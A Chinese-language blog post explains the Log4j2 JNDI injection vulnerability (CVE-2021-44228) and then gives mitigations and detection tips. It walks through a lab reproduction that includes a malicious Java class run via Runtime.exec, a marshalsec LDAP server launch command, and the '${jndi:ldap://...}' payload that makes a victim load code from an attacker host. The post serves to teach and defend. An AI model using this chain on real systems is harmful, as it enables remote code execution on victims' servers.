近期log4j2的漏洞闹得沸沸扬扬,在工作之余也是找了一些资料看一下相关的内容,到现在网上的总结已经很全了,B站上有各种漏洞复现,各大博客类网站关于JNDI相关漏洞又重新被翻了出来,我这里主要是做一些我自己的总结和理解,以及我个人对漏洞的复现,当然很多内容包括整个实验流程很多都是从网上复制的,虽然是个缝合怪,但实验的代码和总结是自己的,不会像网上某些文章,无脑CV过来,有的还不全。在文章最后会给出我看到的比较好的各种资料。
不过江湖惯例,警告还是要放的
中华人民共和国网络安全法JNDI 注入原理第二十七条
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;
不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;
明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
很多人一看这种注入原理的字眼,就开始头疼,但我觉得还是有必要说一下。这次log4j2的漏洞,就是log4j2被别人利用,执行了JNDI注入,也就是说log4j2是被人当q使了。而这个JNDI注入,却是很常见的攻击行为,因此需要先了解,我觉得至少要了解一下几个方面。
- 什么是LDAP?
- 什么是JNDI?
- 什么是JNDI注入?
首先LDAP是一种通讯协议,LDAP支持TCP/IP。协议就是标准,并且是抽象的。在这套标准下,AD(Active Directory)是微软出的一套实现。那AD是什么呢?暂且把它理解成是个数据库。也有很多人直接把LDAP说成数据库(可以把LDAP理解成存储数据的数据库)。
LDAP也像是其他数据库一样,是有client端和server端。server端是用来存放资源,client端用来 *** 作增删改查等 *** 作。但它是使用树形结构,存储类似于key-value(资源),这你想到了什么,我感觉有点像ZooKeeper。
用树状结构存储的好处毋庸置疑就是快,想想MySQL索引也就知道了,而且他主要也是用来存储资源类的信息,因此不需要像MySQL那样存储结构性的数据(占空间)。
LDAP可以用于统一登录, 统一文件存储,看来看去还是和ZK有点相似之处。
而我们通常说的LDAP是指运行这个数据库的服务器,可以简单理解AD =LDAP服务器+LDAP应用。
JNDIJNDI(Java Naming and Directory Interface)Java 命名和目录接口,命名服务用于根据名字找到位置、服务、信息、资源、对象。
看到这你可能不懂,但JDBC你总懂吧,你的Java程序可以通过JDBC这套标准接口,可以对接不同数据库,也可以通过JNDI访问到不同的服务,是不是有点像,本质上还是一套标准接口。
JNDI要查找到对应的资源需要有两个过程
- 发布服务 bind
- 查找服务 lookup
像极了哈希表的put和get,我强烈怀疑他就是通过哈希表实现的,看到这个lookup标黑了吗,这是重点,log4j2要考。
JNDI可以访问的服务:LDAP(这不就连上了)、RMI(这个也可以看一下,后面的都看不懂了,凑个数)、DNS()、XNam 、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS……
JNDI注入 JNDI动态协议转换对于lookup方法:即使初始化的Context指定了一个协议,也会根据URI传入的参数来转换协议。也就是说,替换lookup里面的协议内容,则会使用修改后的协议。
这是什么意思呢?就是说本来你想出去吃火锅,但你到了美食街,突然想吃烧烤,那你最终还是会去吃烧烤。
当我们调用lookup()方法时,如果lookup方法的参数, 像是一个uri地址,那么客户端就会去 lookup()方法参数指定的uri中加载远程对象
JNDI 命名引用以下三条内容请详细阅读三遍,确保理解透彻。
- 在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类。比如远程HTTP服务的一个.class文件。
- 如果JNDI客户端基于LDAP服务,找不到对应的资源,就去指定的地址请求,如果是命名引用,会把这个文件下载到本地。
- 如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。
前面说过,LDAP是kv存储,它的value可以是一个外部资源,如果客户端找不到资源就会去把资源下载到本地(转发下载),第三条说的很明白,如果是一个.class文件,就可以自动执行静态代码块和无参构造方法。
JNDI注入流程: log4j2 RCE漏洞原理在log4j2有一个Lookups功能,官方文档中是这样写的
Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.
Lookups提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现StrLookup接口的特殊类型的插件 。
举个例子
// log4j2 <=2.14.1日志打印 log.info("${java:runtime} - ${java:vm} - ${java:os}"); // 输出结果 // Java(TM) SE Runtime Environment (build 1.8.0_201-b09) from Oracle Corporation - Java HotSpot(TM) 64-Bit Server VM (build 25.201-b09, mixed mode) - Windows 10 10.0, architecture: amd64-64
得到这个结果是因为log4j2允许使用以 java: 为前缀的字符串,检索Java环境信息
The JavaLookup allows Java environment information to be retrieved in convenient preformatted strings using the java: prefix.
同样Log4j2对JNDI也有类似的支持,现在官网的文档描述已经改为
As of Log4j 2.17.0 JNDI operations require that log4j2.enableJndiLookup=true be set as a system property or the corresponding environment variable for this lookup to function. See the enableJndiLookup system property.
从 Log4j 2.17.0 开始,JNDI *** 作要求将 log4j2.enableJndiLookup=true 设置为系统属性或相应的环境变量,以便此查找起作用。请参阅 enableJndiLookup系统属性。
The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.
JndiLookup 允许通过 JNDI 检索变量。默认情况下,键将以 java:comp/env/ 为前缀,但是如果键包含“:”,则不会添加前缀。
老版本的前缀 j n d i : , 新 版 本 前 缀 改 为 {jndi:},新版本前缀改为 jndi:,新版本前缀改为{ java:comp/env/ } (没试过)。
因此在使用老版本的log4j2中
- 任意输入框体,注入jndi模拟攻击,包含 远程加载地址
- 日志服务打印记录
- 日志服务发现*${jndi:}* 识别JNDI 并进行JNDI服务的 lookup
- JNDI动态协议转换
- LDAP服务,指定远程加载地址为恶意代码地址
- 在客户端访问LDAP服务不存在的引用
- 从指定地址动态加载对象
- 将远程对象下载到本地,并执行静态代码块
代码示例:
@PostMapping("login") public ResponseEntitylogin(LoginForm form) { // 漏洞入口代码 logger.info("login-account:{}", form.getAct()); // 用户认证 if(auth(form.getAct(), form.getPwd())) { // 记录会话信息 String token = UUID.randomUUID().toString(); UserVO user = new UserVO(); user.setAct(form.getAct()); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); user.setLat(sdf.format(new Date())); caffeineTemplate.put(token, user); return ResponseEntity.ok(token); } return new ResponseEntity<>(HttpStatus.UNAUTHORIZED); }
恶意代码示例:
static { try { //打开计算器 if (System.getProperty("os.name").toLowerCase().contains("win")) { Runtime.getRuntime().exec("calc " ); } //退出程序 System.exit(0); } catch (IOException e) { System.out.println(e.getMessage()); } }漏洞复现方式 最简单的方法
在码云上找到Log4j2-CVE-2021-44228这个项目,把它下载下来,按照 README.md 走一遍,虽然我不是这样实现的,但很多内容参考了他的代码,因此我觉得应该没什么问题。
比较真实的还原我个人比较真实的还原了攻击过程,这个代码就不上传了,网上有很多了,准备了两台linux服务器,和一台windows作为客户端,他们的作用分别如下
- LinuxA:模拟一个运行的Spring后台,也就是网站的服务器
- LinuxB:模拟一个IDAP的服务器
- Windows作为客户端,这没啥说的,主要是Postman发送请求。
客户端和LinuxB是一伙的,扮演攻击者,LinuxA是受害者。
看一下LinuxA的接口很简单,模拟一个登录接口,日志打印一下登录的用户名
@RestController public class TestController { private static final Logger log = LogManager.getLogger(TestController.class); @PostMapping("testBug") public String testBug(@RequestBody Mapparams){ String userName = params.get("userName"); log.info(userName); log.info("${java:runtime} - ${java:vm} - ${java:os}"); return userName; } }
正常客户端发送的请求
{ "userName":"呵呵一笑" }
此时我在LinuxB,先准备一个攻击代码,编译成.class文件
public class Faker { private static final String STATIC_RUN="touch /faker_static.txt"; private static final String CONSTRUCTOR_RUN="touch /faker_constructor.txt"; static { try { System.out.println("run commond :"+ STATIC_RUN); Runtime.getRuntime().exec(STATIC_RUN); } catch (IOException e) { System.out.println(e.getMessage()); } } public Faker() { try { System.out.println("run commond :"+ CONSTRUCTOR_RUN); Runtime.getRuntime().exec(CONSTRUCTOR_RUN); } catch (IOException e) { System.out.println(e.getMessage()); } } }
静态代码块和构造函数里就是攻击的代码,我本想着打印两句话,执行两条命令,但执行命令语句没有生效,可能是由于权限问题,打印是有的。
接下来启动一个web服务,这个步骤很关键,很多教程这个地方讲的都很省略。
我是准备一个Tomcat,将这个.class文件上传到Tomcat下webapps 下,我是放在了自己创建的nb文件夹下,此时启动Tomcat,你是可以通过
http://${ip}:8080/nb/Faker.class
下载到你的文件的,当然你可以用其他方式例如nginx启动这个web服务,但你要启动web服务,才能下载到。
最后准备一个LDAP服务,这个我是从github上下载了网上流行的恶意LDAP服务marshalsec的源码,自己用maven编译了一下,这个代码也很值得学习,可以看一下它是如何创建LDAP服务的。
编译好以后,上传到LinuxB,启动该恶意LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://${ip}:8080/nb/#Faker 8088
其中#Faker是因为我的攻击类叫Faker.class,最后的8088是一个端口,可以按照自己的意愿改动。
此时使用Postman请求接口,参数改为
{ "userName":"${jndi:ldap://${ip}:8088/test}" }
注意上面的${ip}是LinuxB的IP,也就是攻击者自己的LDAP服务器,端口要和你上面启动的端口一致
最终结果最后你可以在LinuxA上看到打印的两句话,可惜的是两句命令无法执行
好像是因为权限的问题,但这不重要,当LinuxA贸然访问到LinuxB的LDAP服务,它就已经输了,如果这是一段挖矿代码,那后果不堪设想,而这一切的源头,仅仅是因为打印了一个参数的日志,这也就是这个漏洞的严重性
使用了log4j的组件,并且版本在 2.x <= 2.14.
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为
true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加
了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,
默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的
JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,
默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
jdk-8u201, 8u202:最后一个免费商用版本,Oracle于 2019-01-15 停止免费商用更新
这是官方对于奇数版本与偶数版本区别的解释:
从JDK版本7u71以后,JAVA将会在同一时间发布两个版本的JDK,其中:
奇数版本为BUG修正并全部通过检验的版本,官方强烈推荐使用这个版本。
偶数版本包含了奇数版本所有的内容,以及未被验证的BUG修复,
Oracle官方表示:除非你深受BUG困扰,否则不推荐您使用这个版本。
升级到 jdk-8u201之后可以避免一部分攻击.
排查方法1、pom版本检查
2、可以通过检查日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。
3、检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调
用相关的堆栈信息
4、各种安全产品 WAF、RASP
没用过,粘贴过来的
https://static.threatbook.cn/tools/log4j-local-check.sh https://sca.seczone.cn/allScanner.ziplog4j RCE漏洞修复方法 官方方案
1、将Log4j框架升级到最新版本:
新版本log4j2在JNDI lookup中增加了很多的限制:
1、默认不再支持二次跳转(也就是命名引用)的方式获取对象
2、只有在log4j2.allowedLdapClasses列表中指定的class才能获取。
3、只有远程地址是本地地址或者在
log4j2.allowedLdapHosts列表中指定的地址才能获取
org.apache.logging.log4j log4j-core${log4j.version} org.apache.logging.log4j log4j-api${log4j.version}
或
临时方案org.springframework.boot spring-boot-starter-log4j22.17.1
1、升级JDK
2、修改log4j配置
3、使用安全产品防护:WAF、RASP
- 设置参数:log4j2.formatMsgNoLookups=True
- 修改JVM参数:-Dlog4j2.formatMsgNoLookups=true
- 系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
- 禁止 log4j2 所在服务器外连
https://www.jianshu.com/p/7e4d99f6baaf
https://www.heibai.org/1360.html
https://blog.csdn.net/he_and/article/details/105586691
https://gitee.com/Morningyet/Log4j2-CVE-2021-44228/blob/master/log4j%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)